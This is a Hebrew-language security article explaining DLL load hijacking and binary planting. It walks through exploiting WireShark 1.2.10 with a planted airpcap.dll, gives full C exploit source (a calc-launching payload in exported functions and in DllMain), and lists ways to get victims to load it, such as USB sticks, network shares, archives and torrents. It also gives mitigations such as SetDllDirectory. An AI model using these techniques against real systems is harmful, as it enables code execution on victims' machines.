
 

 

 

 

Biting the hand with DLL Load Hijacking and 

Binary Planting  
 TheLeader מאת

 

 הקדמה

 

 DLLחשוב להבהיר כי חולשות מסוג . DLL Load Hijacking / Binary Plantingמאמר זה יעסוק בחולשות 

Load Hijacking (השתלטות על טעינת ספרייה מקושרת דינאמית ) ם לפחותשני 10נוצלו כבר לפני .

בבלוג של ( Project Metasploitחוקר האבטחה והמייסד של ) HD Mooreלאחרונה בעקבות הפרסום של 

Metasploit העניין משך תשומת לב מצד קהילת אבטחת המידע העולמית ונכתבו , ותגובת מייקרוסופט

 Windowsלה אקספלויטים שמנצלים חורי אבטחה כאלו במערכת ההפע[ ( ;על ידי גורמים עלומים )

 .DLL Load Hijackingמה שלמעשה הביא את הקאמבק של , ותוכנות ידועות נוספות

 .DLLעל מנת להסביר זאת נצטרך ראשית כל להסביר מהו ? DLL Load Hijackingאז מה זה 

DLL (ספרייה מקושרת דינאמית )כאשר תוכנית מעוניינת להשתמש . היא למעשה ספרייה של פונקציות

היא תצטרך לטעון את , לא קושרה מראש user32.dllבמידה והספרייה , MessageBoxAציה למשל בפונק

 MessageBoxAולייבא את הפונקציה , אל תוך מרחב הכתובות הוירטואלי שלה user32.dllאת הספרייה 

 .מהספרייה

עם אחת כי כל ספרייה למעשה מתמפה רק פ( זיכרון גישה אקראית) RAM-גישה כזו חוסכת המון מקום ב

כאשר מבחינת כל , לתוך הזיכרון הפיזי ומספר תהליכים יכולים לטעון אותה ולהשתמש בה בו זמנית

אבל כולם למעשה ניגשים לאותן , תהליך הקוד של הספרייה נמצא בתוך מרחב הכתובות הוירטואלי שלו

 . כתובות פיזיות
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 :הדיאגרמה הבאה ממחישה את העניין בצורה ויזואלית

 

 Binghamton - http://www.cs.binghamton.edu/~reckert/360/19_dll_f03.html' מאוניRichard R. Eckert -תודה ל

 

 ?DLLכיצד טוענים 

 

עבור הפונקציה  ASCII-שהיא וריאציית ה) LoadLibraryAלמשל , משתמשים בפונקציה לטעינת ספרייה

LoadLibrary .) אלו מביניכם שנחנו ברמת אינטליגנציה גבוהה ישאלו כיצד התוכנית יכולה להשתמש

התשובה לשאלה . כלשהו DLL-עצמה נמצאת ב LoadLibraryAהלא הפונקציה ? LoadLibraryAבפונקציה 

קשר את התוכנית מראש או ל, באופן דינאמי בזמן ריצת התוכנית  DLLניתן לטעון –זו היא פשוטה 

 (.Linkage)ונקרא קישור ( Compilation)תהליך זה מתבצע לאחר ההידור , לספרייה

בתוכה נמצאות כל הפונקציות  – kernel32.dllהספרייה הבסיסית נמצאת בליבה של המערכת ונקראת 

הספרייה .זומקושרת לספרייה  Win32וכל תוכנית , המיועדות עבור תפקוד בסיסי בתוך מערכת ההפעלה

kernel32.dll מכילה בין השאר את הפונקציות הדרושות לטעינה דינאמית של ספריות. 

 

http://www.cs.binghamton.edu/~reckert/360/19_dll_f03.html
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 ".Hello"ניקח למשל את התוכנית הבאה שמטרתה היא להקפיץ הודעת 

#include <windows.h> 

typedef void (*FUNCPTR)(int, void*, void*, int); 

FUNCPTR MessageBoxA_func; 

 

int main() 

{ 

  HMODULE lib_user32 = LoadLibraryA("user32.dll"); 

  MessageBoxA_func = (FUNCPTR)(GetProcAddress(lib_user32, 

"MessageBoxA")); 

  MessageBoxA_func(0, "Hello.", "Hello!", MB_OK); 

  return 0; 

} 

 :ונריץ( נקמפל)נהדר 

C:\> dev-cpp\ projects\msg\msg.exe 

 

מה שקורה . השמש זורחת והציפורים מצייצות, ההודעה קופצת, הפונקציה נקראת, ה נטענתהספריי

לפי , בנתיבים הבאים user32.dllמחפשת את הקובץ  LoadLibraryהפונקציה  –מאחורי הקלעים הוא 

 :הסדר

 \C:\dev-cpp\ projects\msg –הנתיב בו נמצאת התוכנית שלנו  .1

 \windir%\system32 – C:\windows\system32%הנתיב  .2

 \windir%\system – C:\windows\system%הנתיב  .3

4. Current Working Directory (נתיב העבודה הנוכחי) , הנתיב ממנו הורצה התוכנית שלנו– C:\ 

 .PATHהנתיבים שמצוינים במשתנה הסביבה  .5

 LoadLibraryהפונקציה ? לא היה נמצא בשלושת הנתיבים הראשונים user32.dllמה היה קורה אם 

 .\:Cהייתה מחפשת אותו בנתיב 

לחיצה כפולה על  –למשל , קובץ על ידי התוכנית המשויכת אליו Windows Explorer-כאשר פותחים ב

מפעיל את התוכנית באופן שבו נתיב העבודה הנוכחי שממנו מורצת התוכנית הינו  TXT ,Explorerקובץ 

יקרה כאשר פותחים תוכנית מסוימת המשויכת לסוג מה . כאן נכנס החלק המעניין. הנתיב של הקובץ

והתוכנית מנסה לטעון ספרייה שלא קיימת , (PCAPמשוייכת לקבצי ) WireSharkלמשל , קובץ כלשהו

מתוך הנתיב שבו נמצא  DLL-תנסה לטעון את ה LoadLibrary, ובכן? בשלושת הנתיבים הראשונים

( למשל Disk-On-Keyבאמצעות )וכל לספק לקורבן שלו תוקף פוטנציאלי י? רואים את הבעייתיות. הקובץ

-תקרא ל WireSharkכאשר . נגוע DLLוקובץ  PCAPקובץ  –שני קבצים אשר נמצאים באותו הנתיב 

LoadLibrary בניסיון לטעון את ה-DLL ,LoadLibrary תחפש אותו בשלושת הנתיבים הראשונים. 

שם היא תמצא את , PCAP-בנתיב בו נמצא קובץ ה תחפש אותו LoadLibraryהקובץ לא ימצא שם ולכן 

מה שיקרה מיד לאחר מכן הוא שהתוכנית . ידי התוקף מבעוד מועד-הנגוע שהושתל שם על  DLL-קובץ ה

WireShark תטעןDLL  הרצת קוד , כלומר –ותשתמש בפונקציות שלו , נגועPWNED. 
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 נסיעת מבחן

 

 :כלים

- Process Monitor  שלSysInternals : 
http://technet.microsoft.com/en-us/sysinternals/bb896645.aspx 

 
- API Monitor  שלRohitab: 

http://www.rohitab.com/apimonitor 

 
- Bloodshed Dev-C++: 

http://sourceforge.net/projects/dev-cpp/files/Binaries/ 

 
- OllyDBG (אופציונלי:) 

http://www.ollydbg.de/ 

 

 :שפן ניסיונות

- WireShark 1.2.10: 
http://media-2.cacetech.com/wireshark/win32/wireshark-win32-1.2.10.exe 

 

ניצור תיקייה , בנוסף. PCAPונוודא שהוא משויך לקבצים בעלי הסיומת  WireSharkנתקין את , ראשית כל

 .PCAPובתוכה ניצור קובץ ריק בסיומת , testdirעל שולחן העבודה שלנו בשם 

 :ונוסיף את הפילטר הבא Process Monitorנפעיל את  –תן להתחיל לעבוד כעת ני

Column Relation Value Action 

Path begins with [path to testdir] Include 

Process Name is wireshark.exe Include 

 

 .והוא יתחיל להקשיב לגישות לתיקייה שלנו  OKנלחץ 
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 :CTRL+H –על מנת להבליט שורות שמכילות פעילות חשודה  Highlightכמו כן נוסיף פילטר 

Column Relation Value Action 

Path ends  with .dll Include 

Path ends with .ocx Include 

Path ends with .drv Include 

Path ends with .sys Include 

Path contains % Include 

 

ריק ונפעיל   PCAPניצור קובץ . ין לגישות שמתבצעות אל הנתיב שלנולהאז Process Monitor-כעת ניתן ל

 :אותו

 

מן ? ננסה להבין מה הוא עושה איתם.נראה שמישהו מנסה לטעון ספריות מהנתיב של הקובץ שלנו

 –" פיתיון"ראשית עלינו להציב . הבה ונבדוק? הלא כן, הסתם יש בספריות פונקציות שהוא משתמש בהן

DLL לו מבנה תקין והפונקציה  כלשהו שישLoadLibrary תצליח לטעון אותו. 

 :airpcap.dllלתיקייה שלנו תחת השם  user32.dllונעתיק את , נפתח שורת פקודה

C:\> copy C:\windows\system32\user32.dll Users\user\testdir 

\airpcap.dll 
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 Dynamic-Linkנסמן שם את , API Capture Filterבצד ימין יש תיבה בשם  -API Monitorכעת נפעיל את 

Library: 

 

 .על הפונקציות שקשורות לטיפול בספריות Hookingלבצע  API Monitor-פעולה זו מורה ל

 :CTRL+H -על התהליך  Hookכעת נתקין 
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נבצע חיפוש קצר על מנת למצוא את . APIאנחנו אמורים להאזין כרגע לקריאות , במידה והכל תקין

 .והוא נמצא"... CTRL+F ,"airpcap.dll. שלנו DLL-נטען ההמיקום בו 

 

 Wide char-וריאציית ה)  LoadLibraryWעל ידי הפונקציה  0x63d00000שלנו אכן נטען לכתובת  DLL-ה

מנסה למצוא בתוכו רשימה ארוכה של פונקציות באמצעות  WireSharkולאחר מכן , (LoadLibraryשל 

ניתן לראות כי ערך החזרה של הפונקציה . חתיכת רשימה שם. GetProcAddressהפונקציה 

GetProcAddress  עבור כל שמות הפונקציות האלו הואNULL –  לא באמת ציפינו למצוא פונקציה כמו

AirpcapSetFilter  בתוךuser32.dll ,נכון? 

 :נעתיק את הטבלה על מנת לייצא אותה לעורך חיצוני

[CTRL + A] (בחר הכל)+  [CTRL + C] (העתק)  

פשוט ) 0x63d00000הנה הרשימה המלאה של הפונקציות שנטענות מהכתובת , אחסוך לכם מעט עבודה

 (:שולטת ++Notepad-קס ב'אומר שפונקציית הרג

AirpcapGetLastError, AirpcapGetDeviceList, AirpcapFreeDeviceList, 

AirpcapOpen, AirpcapClose, AirpcapGetLinkType, AirpcapSetLinkType, 

AirpcapSetKernelBuffer, AirpcapSetFilter, AirpcapGetMacAddress, 

AirpcapSetMinToCopy, AirpcapGetReadEvent, AirpcapRead, AirpcapGetStats, 

AirpcapTurnLedOn, AirpcapTurnLedOff, AirpcapGetDeviceChannel, 

AirpcapSetDeviceChannel, AirpcapGetFcsPresence, AirpcapSetFcsPresence, 

AirpcapGetFcsValidation, AirpcapSetFcsValidation, AirpcapGetDeviceKeys, 

AirpcapSetDeviceKeys, AirpcapGetDecryptionState, 

AirpcapSetDecryptionState, AirpcapStoreCurConfigAsAdapterDefault, 

AirpcapGetVersion, AirpcapGetDriverDecryptionState, 

AirpcapSetDriverDecryptionState, AirpcapGetDriverKeys, 

AirpcapSetDriverKeys, AirpcapSetDeviceChannelEx, 

AirpcapGetDeviceChannelEx, AirpcapGetDeviceSupportedChannels 
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ריצה של את כל הפונקציות האלו ומפנה את ה( Export)שמייצא  DLLמה שנותר לעשות כעת הוא להכין 

 .CALC.EXEבמקרה שלנו מפעיל את התוכנית  –התוכנית לאיזשהו קוד זדוני 

 (.GPLוהוא משוחרר כאן תחת רישיון  24/08/2010-הקוד הבא הוא חלק מאקספלויט שכתבתי ב)

#include <windows.h> 

#define DLLIMPORT __declspec (dllexport) 

  

DLLIMPORT void AirpcapGetDeviceList() { evil(); } 

DLLIMPORT void AirpcapFreeDeviceList() { evil(); } 

DLLIMPORT void AirpcapOpen() { evil(); } 

DLLIMPORT void AirpcapClose() { evil(); } 

DLLIMPORT void AirpcapGetLinkType() { evil(); } 

DLLIMPORT void AirpcapSetLinkType() { evil(); } 

DLLIMPORT void AirpcapSetKernelBuffer() { evil(); } 

DLLIMPORT void AirpcapSetFilter() { evil(); } 

DLLIMPORT void AirpcapGetMacAddress() { evil(); } 

DLLIMPORT void AirpcapSetMinToCopy() { evil(); } 

DLLIMPORT void AirpcapGetReadEvent() { evil(); } 

DLLIMPORT void AirpcapRead() { evil(); } 

DLLIMPORT void AirpcapGetStats() { evil(); } 

DLLIMPORT void AirpcapTurnLedOn() { evil(); } 

DLLIMPORT void AirpcapTurnLedOff() { evil(); } 

DLLIMPORT void AirpcapGetDeviceChannel() { evil(); } 

DLLIMPORT void AirpcapSetDeviceChannel() { evil(); } 

DLLIMPORT void AirpcapGetFcsPresence() { evil(); } 

DLLIMPORT void AirpcapSetFcsPresence() { evil(); } 

DLLIMPORT void AirpcapGetFcsValidation() { evil(); } 

DLLIMPORT void AirpcapSetFcsValidation() { evil(); } 

DLLIMPORT void AirpcapGetDeviceKeys() { evil(); } 

DLLIMPORT void AirpcapSetDeviceKeys() { evil(); } 

DLLIMPORT void AirpcapGetDecryptionState() { evil(); } 

DLLIMPORT void AirpcapSetDecryptionState() { evil(); } 

DLLIMPORT void AirpcapStoreCurConfigAsAdapterDefault() { evil(); } 

DLLIMPORT void AirpcapGetVersion() { evil(); } 

DLLIMPORT void AirpcapGetDriverDecryptionState() { evil(); } 

DLLIMPORT void AirpcapSetDriverDecryptionState() { evil(); } 

DLLIMPORT void AirpcapGetDriverKeys() { evil(); } 

DLLIMPORT void AirpcapSetDriverKeys() { evil(); } 

DLLIMPORT void AirpcapSetDeviceChannelEx() { evil(); } 

DLLIMPORT void AirpcapGetDeviceChannelEx() { evil(); } 

DLLIMPORT void AirpcapGetDeviceSupportedChannels() { evil(); } 

  

int evil() 

{ 

  WinExec("calc", 0); 

  exit(0); 

  return 0; 

} 
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כעת . airpcap.dllתחת השם , testdir, תוצאה נעביר לתיקייה שיצרנוואת ה, ++Dev-Cנקמפל באמצעות 

 ?מופתעים. שלנו PCAP-נפתח שוב את קובץ ה

 

אך לפני כן כדאי שנגדיר שוב את , OllyDBעם  WireSharkנוכל לרדת לעומק הבעיה באמצעות דיבוג של 

 .גורם הבעיה

 

 גורם הבעיה

 

, מנסה לטעון ספרייה ללא ציון נתיב מלא( או וריאציות שלה) LoadLibraryהבעיה נוצרת כאשר הפונקציה 

והספרייה שהיא מחפשת לא  Current Working Directory-מוגדרת לחפש ב LoadLibraryהפונקציה 

 :נמצאת באחד מהנתיבים הבאים

 \C:\dev-cpp\ projects\msg –הנתיב בו נמצאת התוכנית שלנו  .1

 \windir%\system32 – C:\windows\system32%הנתיב  .2

 \windir%\system – C:\windows\system%הנתיב  .3
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 אל תוך המערה

 :OllyDBG-ב WireSharkנפתח את 

 

 .LoadLibrary-ראשית כל נבדוק איפה בדיוק מתבצעות הקריאות ל

 .Search for  >All intermodular calls< קליק ימני 
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למי מכם . LoadLibraryWבחלון שנפתח נקיש , LoadLibraryW, כעת נחפש את הקריאה לפונקציה שלנו

 .ודאו שפריסת לוח המקשים שלכם מוגדרת לאנגלית, שזה לא עובד

 

 .ונוכל לראות מיידית מה רקוב פה, דאבל קליק
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 1פיתרון 

זה אני  ברגע. יםDLL-ניתן לפתור את הבעיה באמצעות החלפה של המחרוזות שמכילות את שמות ה

לפני הקריאה . LoadLibraryWהנה הקריאה לפונקציה הבעייתית .airpcap.dll-ל על הקריאה patchאדגים 

 :005218B8-מתבצעת דחיפה של הכתובת 

 

ידי קומפיילר -ברוב התוכניות שעוברות הידור על. נחפש מיקום נחמד בשביל המחרוזת שלנו, ראשית

C  ++ ישנם מרחבים גדולים של זיכרון אשר מכיליםNULL ( 0בייט שערכוx00 ) ולא באמת משמשים

 [.של התוכנית לגודל מסויים( Alignment)מלבד אולי התאמה ]למשהו 

 (חיפוש של מחרוזת בינארית) [CTRL+B].ים-NULLנחפש קטע רציף של 

 

 :מצאנו משהו, יפה
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נקליד את הנתיב . ונמקם את המחרוזת שלנו 005107AEנלחץ על הכתובת  –ניקח מרחק ביטחון מהקוד 

 .Unicode-בהמלא 

[CTRL+E] (עריכה) 

 

-ונפנה את הארגומנט שמועבר אליה למחרוזת שלנו שנמצאת ב, LoadLibraryW-נחזור לקריאה ל

005107AE . נבצע מעבר(CTRL+G ) 0040לכתובתE314  את ההוראה ( רווח)ונערוךpush  כך שתדחוף

 :005107AE -את הכתובת המעודכנת שלנו 

 

 .OllyDBGעל ידי  נוודא שהמחרוזת אכן מזוהה

 

דוחפת את  airpcapאין לי מושג איפה , אגב. כעת כל מה שנותר הוא לעשות זאת עבור כל שאר הקריאות

ים DLL-בנוסף אציין כי במידה וה. אז קחו את הפיתרון הזה בעירבון מוגבל, ים שלה באמתDLL-ה

להשיג את הנתיב אל אם אתם משתמשים בפתרון זה כדאי , ממוקמים בנתיב בו נמצאת התוכנית

כך תחסכו כאב ראש של , DLL-ולטעון משם את ה GetModuleFileNameהתוכנית באמצעות הפונקציה 

Portability. 

 

 2פיתרון 

 

 בשם APIבאמצעות קריאה לפונקציית  LoadLibraryאנו יכולים לשנות את ההתנהגות של 

SetDllDirectoryA (וריאציית ה-ASCII  שלSetDllDirectory) כאשר קוראים . בתחילת ריצת התוכנית

מסדר החיפוש  Current Working Directory-הפונקציה מעיפה את ה,  NULLלפונקציה זו עם הארגומנט 

 .ובכך פותרת את הבעיה LoadLibraryשל 
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 CPU-אנו מצפים שסמן ה, כאשר אנו פותחים תוכנית בדיבאגר. OllyDBG-ב  WireSharkנפתח מחדש את 

 :אם כן. יצביע להוראה הראשונה( יחידת העיבוד המרכזית)

[ALT+C] (עבור לסמן ה-CPU) 

 

אנחנו יכולים לשנות את הקריאה כך שתקרא לקוד . ההוראה הראשונה בתוכנית היא קריאה לפונקציה

ם וכך לא יגרם שינוי בריצה של התוכנית מלבד תיקון הבעיה ע –ולאחר מכן תקפוץ אל הפונקציה , שלנו

LoadLibrary .נשתמש במרחב הפנוי שהשתמשנו בו ב-Patch 005107-ונמצא ב, הקודםAE[ .רווח ]

Assemble 

 

 [CTRL+G] .שלנו  patch-כעת נזוז לשם על מנת לכתוב את ה

 NULLעם הפרמטר  SetDllDirectoryA-כעת נכתוב קטע קטן שקורא ל, 005107AEעברנו אל הכתובת 

לפני , קרא לה במקור WireShark-שהיא הכתובת של הפונקציה ש – 0050ECF4-ולאחר מכן קופץ ל

 .שנכנסנו לתמונה

 

push 0 

call kernel32.SetDllDirectory 

jmp 0050ECF4 

 

 

 

 3פיתרון 

 

בעלי אותם  DLLאם אנו מספקים קבצי . אך אזכיר אותו בכל זאת כי הוא עובד, זהו פיתרון מלוכלך למדי

ינסה לטעון אותם  וכך הוא לא ימשיך לחפש במקומות  Wireshark ,Wiresharkשמות בתיקייה של 

 .נוספים
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C:\> copy C:\windows\system32\user32.dll "c:\program 

files\wireshark\airpcap.dll"  

 

 .לשארית המאמר OllyDBGאתם יכולים לסגור את , זהו

 

DllMain 

 

 Classבתור  DLL-כאשר היא מתייחסת ל – DllMainבמקרים מסויימים התוכנית מריצה את הפונקציה 

Library ( נפוץ בטעינה של קבציOCX) ,התוכנית מריצה את הבנאי של המחלקה שנמצא ב-DllMain. 

 :שמנצל מצב זה DLLתוב נכ

 

#include <windows.h> 

int evil() 

{ 

  WinExec("calc", 0); 

  exit(0); 

  return 0; 

} 

  

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID 

lpvReserved) 

{ 

  evil(); 

  return 0; 

} 

 

Standalones 

כמה מכם משאירים את . אך גם היא מסוכנת מאוד, לתוכניתוריאציה זו קשורה יותר למשתמש מאשר 

PuTTY.exe תוכניות אחרות? על שולחן העבודה? 

 –שנטען הוא בנתיב בו נמצאת התוכנית  DLL-מחפשת את ה LoadLibraryהנתיב הראשון בו  –ובכן 

  .Think about it. במקרה הזה שולחן העבודה

Binary Planting 

ההבדל המהותי הוא שהמתכנת צריך . EXEרק שכאן שותלים קבצי  –ספריות אותו עיקרון של שתילת 

, לכן אני משער שהוא נפוץ באפליקציות גדולות בעיקר, להיות מעט יותר טיפש כדי שיווצר לו כזה באג

כמובן שאותו עיקרון תופס גם לגבי . שמכילות מערכים רבים של נתיבים ויש יותר סיכוי שמשהו ישתבש

 .ואצווה למיניהם קבצי סקריפט
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Binary Planting  (סיפור על שנאה אפלטונית)בסיטואציה שבה המשתמש העיף כונן 

 .סופוקלס, הכירו בבקשה את המשתמש שלנו

 

 .באדיבות ויקיפדיה

 :בנתיב הבא SweetProgסופוקלס מתקין את . :D-ו :C, כוננים על המחשב 2לסופוקלס יש 

D:\Programs\SweetProg\ 

 :מבצעת כמה פעולות מעניינות SweetProgנה בזמן ההתק

 PATHהיא מוסיפה את הנתיב למשתנה הסביבה  -

 :לתוכנית swp.היא משייכת קבצי  -

D:\Programs\SweetProg\SweetProg.exe 

 

אולי כי הוא נדפק , Disk-on-Keyאולי כי זה היה . שלו מהמחשב: Dעכשיו סופוקלס ניתן את הכונן . יפה

 .או אולי כי סתם אחזה בו תזזית, םוהתחיל לעשות רעשי

 .חומד לצון ומחליט להחדיר לו וירוס, חברו הצעיר אוריפידס
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 .באדיבות ויקיפידה

 

אופציונלי שנקרא  DLLומכילה קובץ  \D:\SweetProgשמכיל תיקייה בשם  Disk-on-keyהוא שולח לו 

Olympus.dll שלסופוקלס אין את האוריפידס יודע . ונמצא בשימוש על ידי תוכנות רבות-DLL  וכן , הזה

 .כך הוא הורג שני פגסוסים במכה אחת – SweetProg.exeקובץ בשם 

 :Dוהוא הופך לכונן , שלו USB-בחריץ ה Disk-on-Key-סופוקלס תוקע את ה

 :כעת אם סופוקלס יבצע אחת משתי הפעולות הבאות

 שנמצא על המחשב שלו swp.קובץ  כליפעיל  -

 (ואוריפידס ידע באיזה פונקציות היא משתמשת) Olympus.dllנית שמנסה לטעון את תוכ כליפעיל  -

 .אכן טרגדיה. הוירוס שאוריפידס שלח לו ירוץ
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 התנהגויות משונות של תוכנות ספציפיות

 

 .תגלו התנהגויות מוזרות ומשונות של תוכנות מסוימות, Process Monitorאם תאזינו מעט באמצעות 

 :למשל

- Windows Movie Maker טוען את ה-OCX  הבא: 

[Current Working Directory]\%SystemRoot%\System32\hhctrl.ocx 

- conhost.exe: 

שרץ באמצעות המפרש  py.למשל קובץ , Consoleכאשר מפעילים קובץ שמשויך לתוכנית 

python.exe  ,Explorer.exe  מפעיל אתconhost.exe .אם ב. וכאן מגיע החלק המוזר-Current 

Working Directory ישנה תוכנית בעלת אותו שם של המפרש ( במקרה הזהpython.exe) , מה

כנראה מנתח כמה דברים שם ולאחר מכן עוזב אותה , אותה טוען conhost.exe-שקורה הוא ש

 ?לא, מוזר. ומריץ עם התוכנית המשוייכת הרגילה

 

- Google Earth וכמובן שאם מספקים לו  –בשעת ההתקנה  מחפש נתיב מסוים בכל הכוננים שהיו

 (:צריך עוד לחקור את זה, ט"אאל)אותו הוא מחפש עוד נתיבים 

 

 .WTF –בקיצור 
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 (sys.)טעינה של דרייבר 

זה , על ידי תוכנית בעלת הרשאות גבוהות מספיק – sys.קובץ  –במידה ומתבצעת טעינה של דרייבר 

 .Kernel-מת המלא בר Rootkitנותן לתוקף אפשרות להריץ 

 

 ניצול מרחוק

אם ניתן לגרום לתוכנית להפעיל מרחוק  –העיקרון פשוט . שגיבש איתי את הרעיון הזה Debug-ל תודה

 HTTPשרת , למשל. יש סיכוי שהתוכנית פגיעה להתקפה הזו, DLLויש למשתמש גישה להעלות , קובץ

 :בצורה כזו php.exeשמפעיל את 

C:\webserver\www\public_html\> C:\php\php.exe x.php 

 

המשמעות היא  –ללא ציון נתיב מלא  LoadLibraryמשתמשת בפונקציה  php.exeתוכנית במידה וה

 .אפשרות להריץ קוד מרחוק

 

 מתודות הפצה

 

כמה מהדרכים הסבירות שבהם יוכל תוקף פוטנציאלי להשתמש על מנת לנצל אסקור  בחלק זה ¶

אני לא רואה . כולם דורשים גישה פיזית  –וננים ניידים כ, Disk-on-Key ,CD-ROM.חולשה זו

 .הינו מוסתר  DLL-רק אציין שההתקפה תעבוד גם אם קובץ ה, צורך לפרט

¶ \ SMB  כונני רשת\ WebDAV – גם כאן ניתן להסתיר את הקובץ. 

אם המשתמש יפעיל את הקובץ מתוך הארכיון ולא יחלץ , מעט בעייתי –( ZIP \ RAR)ארכיונים  ¶

. ולכן ההתקפה לא תעבוד DLL-לא יחלצו גם את ה Archiving-רוב תוכנות ה, תו למיקום חיצוניאו

יתכן שכמות גדולה של  –כדאי לתת לקורבן סיבה טובה לחלץ את הארכיון למיקום חיצוני , כלומר

 .קבצים אשר ממוקמים בתיקיות נפרדות תגרום לו לעשות זאת

התיקייה מועברת . כאילו הומצאו בשביל ההתקפה הזאת טורנטים נראים –( Torrents)טורנטים  ¶

והמשתמש כנראה , נגוע אחד DLLקובץ , MP3קבצי  500 –בשלמותה למחשב של הקורבן 

 .DLL-לא ניתן להסתיר את קובץ ה, עם זאת. מודבק
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Stealth 

דרך איזושהי באופן שהקריאות לפונקציות יעברו  Patchהמקורי ולבצע עליו  DLL-ניתן להשיג עותק של ה

 .הקוד הזדוני ירוץ ועם זאת מהלך התוכנית ישמר כרגיל, באופן זה –( Proxy)פונקציית שער 

 

 DLL Load Hijackingתולעת 

ניתן ליצור . ניתן לכתוב תולעת אשר תעביר את עצמה בין מחשבים באמצעות החולשה הזו, תיאורטית

 DLL ולאסוף את כל הפונקציות לתוך , משתמשים ים הנפוצים והפונקציות בהםDLL--מסד נתונים של כל ה

ניתן לכתוב קוד שיזהה את תהליך , ים שונים-DLL-כאשר ישנה התנגשות בין שמות של פונקציות ב. אחד

ישנו בסיס סביר לומר שבחודשים הקרובים נראה את החולשה . האב וידע להפנות לפונקציה המתאימה

 .Zeusכגון , הנפוצים Botnets-הזו משולבת במנגנון הפצה של אחד מה

 

 Local File Buffer Overflowהשוואה מול 

 

DLL Load Hijacking ו-Local File Buffer Overflow (גלישת חוצץ מקומית בקובץ ) הן חולשות שחולקות

שתיהן קשורות להתנהגות של תוכנית , שתיהן חולשות שניתנות לניצול באופן מקומי -כמה מאפיינים 

 .ובץ ושתיהן גורמות להרצת קודבעת פתיחת ק

 .מצאתי לנכון לערוך ביניהן השוואה קטנה, לכן

 Local Buffer Overflow DLL Load Hijacking 

 גבוהה נמוכה :תפוצה בתוכנות מוכרות

דורשת אינטראקציית 

 :משתמש

 בדרך כלל בדרך כלל

אפשרות תמיכה בכמה 

 :אפליקציות בו זמנית

 תמיד לא קיים \נמוך 

 כן לא :שת קבצים חיצונייםדור

 ASLR, Hardwre / Software :אמצעי התגוננות

DEP, Stack Cookies, SafeSEH, 

 SEHOP, טכניקות לזיהוי 

Shellcode 

שיכול לדפוק את  MSכלי של 

 ריצת התוכנית

-רק את העובדה שאחד ה Return)לעיתים קרובות צורך לנחש או להניח מראש 
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 Address ,Image Base :נתונים מסוימים

Address ועוד כתובות) 

DLL- ים לא נמצא במחשבו

 של הקורבן

ניצול על גבי סביבות 

שפות  \וירטואליות 

 :מתפרשות

 כן למעט מקרים נדירים, לא

נצילה בכל הגירסאות של 

 :מערכת ההפעלה

 כן לעיתים רחוקות

 

לוקח  Malware ,DLL Load Hijacking-מהסתכלות קצרה על נתוני הטבלה ניתן להסיק שעבור מפיצי ה

 .ובגדול

 

Linux "DLL Hijacking" (תודה ל-cp77fk4r) 

 

 וליישמה החולשה את לפתח החלו שונים אבטחה חוקרי, לחולשה מסביב המטורף הבאזז כל בעקבות

 תחת, Tim Brown, הבריטי האבטחה חוקר של בבלוג למצוא ניתן לכך טובה דוגמה, נוספות במערכות

-וב full-disclosure-ב גם ובמקביל, לאוגוסט 24-ב שפורסם" Exploiting the Linux linker" הפוסט

bugtraq (הכותרת תחת "DLL hijacking on Linux.)" 

 תחת החולשה בניצול הרעיון אך, בדיחה מעין היא והכותרת לינוקס במערכות DLL קבצי לנו שאין כמובן

 של טעינה ך כדיתו Linux dynamic linker-ב שימוש, כך. לחלוטין כמעט זהה הוא השונות המערכות

( Environment Variables) הסביבה במשתני שימוש כדוגמת, הקוד מתבצע בו םלמקו יחסי באופן קבצים

 את יחשוף ,מראש הוגדרו אכן הם כי לוודא מבלי, "LD_PRELOAD"-ו" LD_LIBRARY_PATH" כגון, השונים

 .זהה לחולשה שלנו הקוד

 בעזרת הפנייה מתבצעת Linux dynamic linker-ב שימוש ך כדיותו שבמידה מכך נובעת החולשה

 Current Working) המקומית יהימהתיק יטענו להטען שנתבקשו הספריות, הוגדר שלא סביבה-משתנה

Directory.) 

 משתמש של חשבון תחת האפליקציה תהרצ של בשימוש הוא ל"הנ החולשה של לניצול נוספת דוגמה

 היא" sudo" בפקודה משתמשים שכאשר מפני לניצול ניתנת החולשה כאן". sudo" הפקודה בעזרת פשוט

 של שימוש תחת האפליקציה את מריצה אלה המערכת מנהל של הסביבה משתני את טוענת אינה

 ערכי את לשנות יוכל שוטהפ המשתמש, וכך -הפשוט המשתמש של בחשבונו שהוגדרו הסביבה משתני

 -מחשבונו" sudo" בפקודת שימוש ויבוצע ובמידה, באפליקציה בשימוש נמצאים אשר הסביבה משתני

 .המערכת מנהל של ההרשאות תחת יורץ -האפליקציה את הפנה הפשוט המשתמש שאליו הזדוני הקוד

http://www.nth-dimension.org.uk/blog.php
http://www.nth-dimension.org.uk/blog.php?id=87
http://seclists.org/fulldisclosure/2010/Aug/295
http://www.linux.org/docs/ldp/howto/Secure-Programs-HOWTO/environment-variables.html
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 מקורות

 המחשב שלי ¶

¶ http://msdn.microsoft.com/en-us/library/ms682586%28VS.85%29.aspx 

¶ http://msdn.microsoft.com/en-us/library/ms686203%28VS.85%29.aspx 

¶ http://msdn.microsoft.com/en-us/library/ms684175%28VS.85%29.aspx 

¶ http://social.msdn.microsoft.com/forums/en-US/vbgeneral/thread/d67eb400-413a-

4b9a-a62b-6adc08ed5b86 

¶ http://support.microsoft.com/kb/2264107/en-us 

¶ http://www.securityfocus.com/archive/1/513316 

¶ http://he.wikipedia.org/wiki/%D7%A1%D7%95%D7%A4%D7%95%D7%A7%D7%9C%D7

%A1 

¶ http://he.wikipedia.org/wiki/%D7%90%D7%95%D7%A8%D7%99%D7%A4%D7%99%D7

%93%D7%A1 

¶ http://he.wikipedia.org/wiki/Dynamic-Link_Library 

 

 :הפניות נוספות

 :בנושא HD Mooreפוסט של 

http://blog.metasploit.com/2010/08/exploiting-dll-hijacking-flaws.html 

 (:שני חלקים)בנושא ( yammesicka)פוסט של ים מסיקה 

http://www.mesicka.com/dll-hijacking-windows-hd-moore 

http://www.mesicka.com/dll-hijacking-is-old/ 

 

 ":diwr – "Exploiting dll hijack in real worldמאמר של בחור יקר הנמצא תחת הכינוי 

http://www.exploit-db.com/papers/14813/ 

 

 

 


